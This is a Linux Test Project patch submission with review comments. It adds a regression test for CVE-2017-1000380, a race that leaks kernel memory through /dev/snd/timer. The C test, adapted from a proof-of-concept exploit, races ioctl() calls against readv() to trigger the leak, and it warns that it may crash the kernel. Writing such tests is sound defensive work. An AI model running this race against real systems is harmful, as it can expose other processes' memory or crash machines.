diff mbox series

Add a regression test for CVE-2017-1000380

Message ID 20190614111310.30548-1-mmoese@suse.de
State Changes Requested
Headers show
Series Add a regression test for CVE-2017-1000380 | expand

Commit Message

Michael Moese June 14, 2019, 11:13 a.m. UTC 
A race condition was present in the linux kernel, which could lead to
a leak of arbitrary kernel memory to userspace applications.

The issue was fixed in those kernel commits:
 http://git.kernel.org/linus/d11662f4f798b50d8c8743f433842c3e40fe3378
 http://git.kernel.org/linus/ba3021b2c79b2fa9114f92790a99deb27a65b728

This patch adds a regression test triggering this race condition.

Signed-off-by: Michael Moese <mmoese@suse.de>
---
 runtest/cve                        |   1 +
 testcases/kernel/Makefile          |   1 +
 testcases/kernel/sound/.gitignore  |   1 +
 testcases/kernel/sound/Makefile    |  12 ++++
 testcases/kernel/sound/snd_timer.c | 137 +++++++++++++++++++++++++++++++++++++
 5 files changed, 152 insertions(+)
 create mode 100644 testcases/kernel/sound/.gitignore
 create mode 100644 testcases/kernel/sound/Makefile
 create mode 100644 testcases/kernel/sound/snd_timer.c

Comments

Cyril Hrubis June 14, 2019, 12:06 p.m. UTC | #1 
Hi!
> +static void *ioctl_thread(void *unused)
> +{
> +	(void) unused;
> +	int tread_arg = 1;
> +	struct snd_timer_select ts;
> +	struct snd_timer_params tp;
> +
> +	while (tst_fzsync_run_b(&fzsync_pair)) {
> +
> +		ioctl(snd_fd, SNDRV_TIMER_IOCTL_TREAD, &tread_arg);
> +
> +		memset(&ts, 0, sizeof(ts));
> +		ts.id.dev_class = 1;
> +		ioctl(snd_fd, SNDRV_TIMER_IOCTL_SELECT, &ts);
> +
> +		memset(&tp, 0, sizeof(tp));
> +		tp.ticks = 1;
> +		tp.filter = 0xf;
> +		ioctl(snd_fd, SNDRV_TIMER_IOCTL_PARAMS, &tp);

I guess that we can do these two buffer initializations outside of the
loop, but I guess compared to the time spend in the syscall it would
neglectible.

> +		ioctl(snd_fd, SNDRV_TIMER_IOCTL_START, 0);
> +
> +		tst_fzsync_end_race_b(&fzsync_pair);
> +	}
> +	return NULL;

Hint: We can do return unused; here instead of the void cast.

> +}
> +
> +static void setup(void)
> +{
> +	tst_fzsync_pair_init(&fzsync_pair);
> +	tst_taint_init(TST_TAINT_W | TST_TAINT_D);
> +	snd_fd = SAFE_OPEN("/dev/snd/timer",
> +			O_RDONLY|O_CREAT|O_NOCTTY|O_SYNC|O_LARGEFILE, 0);
> +}
> +
> +static void cleanup(void)
> +{
> +	tst_fzsync_pair_cleanup(&fzsync_pair);
> +	SAFE_CLOSE(snd_fd);
> +}
> +
> +static void run(void)
> +{
> +	size_t len;
> +	int size;
> +	struct iovec iov;
> +	pthread_t th;
> +	char read_buf[MAX_BUFSIZE];
> +	int i, nz = 0;
> +	pthread_attr_t thread_attr;
> +
> +	pthread_attr_init(&thread_attr);
> +	pthread_attr_setdetachstate(&thread_attr, PTHREAD_CREATE_DETACHED);
> +	SAFE_PTHREAD_CREATE(&th, &thread_attr, ioctl_thread, NULL);
> +
> +	iov.iov_base = read_buf;
> +	iov.iov_len = sizeof(read_buf);
> +
> +	while (tst_fzsync_run_a(&fzsync_pair)) {
> +		memset(read_buf, 0, sizeof(read_buf));
> +		size = readv(snd_fd, &iov, 1);
> +
> +		tst_fzsync_end_race_a(&fzsync_pair);
> +
> +		/* check if it could be a valid ioctl result */
> +		if (size == 0)
> +			continue;
> +
> +		/* check if the buffer is  */
                                          ^
					  non-empty?
> +		for (i = 0; i < size; i++) {
> +			if (read_buf[i]) {
> +				nz = 1;
> +				break;
> +			}
> +		}
> +		if (!nz)
> +			continue;

Also I do not really get this part, we do not reset the nz at all so
this is ineffective after fist non-zero buffer.

> +		len = strlen(read_buf);

Isn't there a possibility that the buffer was filled complelety with
non-zero characters? Can't we just store the position of the last
non-zereo byte in the loop above?

> +		/* the kernel's struct snd_timer_read is two unsigned integers*/
> +		if (len <= 2 * sizeof(unsigned int))
> +			continue;
> +
> +		tst_res(TFAIL, "kernel seems vulnerable");
> +		return;
> +	}
> +
> +	if (tst_taint_check() != 0)
> +		tst_res(TFAIL, "kernel seems vulnerable");
> +	else
> +		tst_res(TPASS, "kernel seems not vulnerable");
> +}
> +
> +static struct tst_test test = {
> +	.test_all = run,
> +	.setup = setup,
> +	.cleanup = cleanup,
> +};

And lastly but not least, can we name this snd_timer01 so that we don't
have to rename it in a case that someone will write sound timer tests?

Other than the minor nits it looks fine.
diff mbox series

Patch

diff --git a/runtest/cve b/runtest/cve
index 031bcdc2a..01324c6ce 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -36,6 +36,7 @@  cve-2017-17052 cve-2017-17052
 cve-2017-16939 cve-2017-16939
 cve-2017-17053 cve-2017-17053
 cve-2017-18075 pcrypt_aead01
+cve-2017-1000380 snd_timer
 cve-2018-5803 sctp_big_chunk
 cve-2018-1000001 realpath01
 cve-2018-19854 crypto_user01
diff --git a/testcases/kernel/Makefile b/testcases/kernel/Makefile
index 39d79c7d8..eff5b3e7d 100644
--- a/testcases/kernel/Makefile
+++ b/testcases/kernel/Makefile
@@ -52,6 +52,7 @@  SUBDIRS			+= connectors \
 			   pty \
 			   sched \
 			   security \
+			   sound \
 			   timers \
 			   tracing \
 
diff --git a/testcases/kernel/sound/.gitignore b/testcases/kernel/sound/.gitignore
new file mode 100644
index 000000000..57eae0593
--- /dev/null
+++ b/testcases/kernel/sound/.gitignore
@@ -0,0 +1 @@ 
+snd_timer
diff --git a/testcases/kernel/sound/Makefile b/testcases/kernel/sound/Makefile
new file mode 100644
index 000000000..5fdc7dd42
--- /dev/null
+++ b/testcases/kernel/sound/Makefile
@@ -0,0 +1,12 @@ 
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+top_srcdir		:= ../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+CPPFLAGS		+= -D_GNU_SOURCE
+
+LDLIBS 			+= -pthread
+
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/sound/snd_timer.c b/testcases/kernel/sound/snd_timer.c
new file mode 100644
index 000000000..2d719fc03
--- /dev/null
+++ b/testcases/kernel/sound/snd_timer.c
@@ -0,0 +1,137 @@ 
+// SPDX-License-Identifier: GPL-2.0-or-later
+
+/* Copyright (c) 2019 Michael Moese <mmoese@suse.com>
+ * Regression test for CVE-2017-1000380 based on the original PoC exploit
+ * by Alexander Potapenko <glider@google.com>
+ *
+ * Be careful! This test may crash your kernel!
+ *
+ * The test performs several ioctl() parallel with readv() on the same
+ * file descriptor to /dev/snd/timer. A buggy kernel will leak memory
+ * to the process, which may contain information from the the kernel or
+ * any other process on the system.
+ *
+ * The issue was fixed with
+ *   http://git.kernel.org/linus/d11662f4f798b50d8c8743f433842c3e40fe3378
+ *   http://git.kernel.org/linus/ba3021b2c79b2fa9114f92790a99deb27a65b728
+ */
+
+#include "config.h"
+#include "tst_test.h"
+#include "tst_taint.h"
+#include "tst_fuzzy_sync.h"
+#include "tst_safe_macros.h"
+#include "tst_safe_pthread.h"
+
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/uio.h>
+#include <sys/ioctl.h>
+#include <sound/asound.h>
+
+#define MAX_BUFSIZE 1024
+
+static int snd_fd;
+static struct tst_fzsync_pair fzsync_pair;
+
+static void *ioctl_thread(void *unused)
+{
+	(void) unused;
+	int tread_arg = 1;
+	struct snd_timer_select ts;
+	struct snd_timer_params tp;
+
+	while (tst_fzsync_run_b(&fzsync_pair)) {
+
+		ioctl(snd_fd, SNDRV_TIMER_IOCTL_TREAD, &tread_arg);
+
+		memset(&ts, 0, sizeof(ts));
+		ts.id.dev_class = 1;
+		ioctl(snd_fd, SNDRV_TIMER_IOCTL_SELECT, &ts);
+
+		memset(&tp, 0, sizeof(tp));
+		tp.ticks = 1;
+		tp.filter = 0xf;
+		ioctl(snd_fd, SNDRV_TIMER_IOCTL_PARAMS, &tp);
+
+		ioctl(snd_fd, SNDRV_TIMER_IOCTL_START, 0);
+
+		tst_fzsync_end_race_b(&fzsync_pair);
+	}
+	return NULL;
+}
+
+static void setup(void)
+{
+	tst_fzsync_pair_init(&fzsync_pair);
+	tst_taint_init(TST_TAINT_W | TST_TAINT_D);
+	snd_fd = SAFE_OPEN("/dev/snd/timer",
+			O_RDONLY|O_CREAT|O_NOCTTY|O_SYNC|O_LARGEFILE, 0);
+}
+
+static void cleanup(void)
+{
+	tst_fzsync_pair_cleanup(&fzsync_pair);
+	SAFE_CLOSE(snd_fd);
+}
+
+static void run(void)
+{
+	size_t len;
+	int size;
+	struct iovec iov;
+	pthread_t th;
+	char read_buf[MAX_BUFSIZE];
+	int i, nz = 0;
+	pthread_attr_t thread_attr;
+
+	pthread_attr_init(&thread_attr);
+	pthread_attr_setdetachstate(&thread_attr, PTHREAD_CREATE_DETACHED);
+	SAFE_PTHREAD_CREATE(&th, &thread_attr, ioctl_thread, NULL);
+
+	iov.iov_base = read_buf;
+	iov.iov_len = sizeof(read_buf);
+
+	while (tst_fzsync_run_a(&fzsync_pair)) {
+		memset(read_buf, 0, sizeof(read_buf));
+		size = readv(snd_fd, &iov, 1);
+
+		tst_fzsync_end_race_a(&fzsync_pair);
+
+		/* check if it could be a valid ioctl result */
+		if (size == 0)
+			continue;
+
+		/* check if the buffer is  */
+		for (i = 0; i < size; i++) {
+			if (read_buf[i]) {
+				nz = 1;
+				break;
+			}
+		}
+		if (!nz)
+			continue;
+
+		len = strlen(read_buf);
+		/* the kernel's struct snd_timer_read is two unsigned integers*/
+		if (len <= 2 * sizeof(unsigned int))
+			continue;
+
+		tst_res(TFAIL, "kernel seems vulnerable");
+		return;
+	}
+
+	if (tst_taint_check() != 0)
+		tst_res(TFAIL, "kernel seems vulnerable");
+	else
+		tst_res(TPASS, "kernel seems not vulnerable");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+};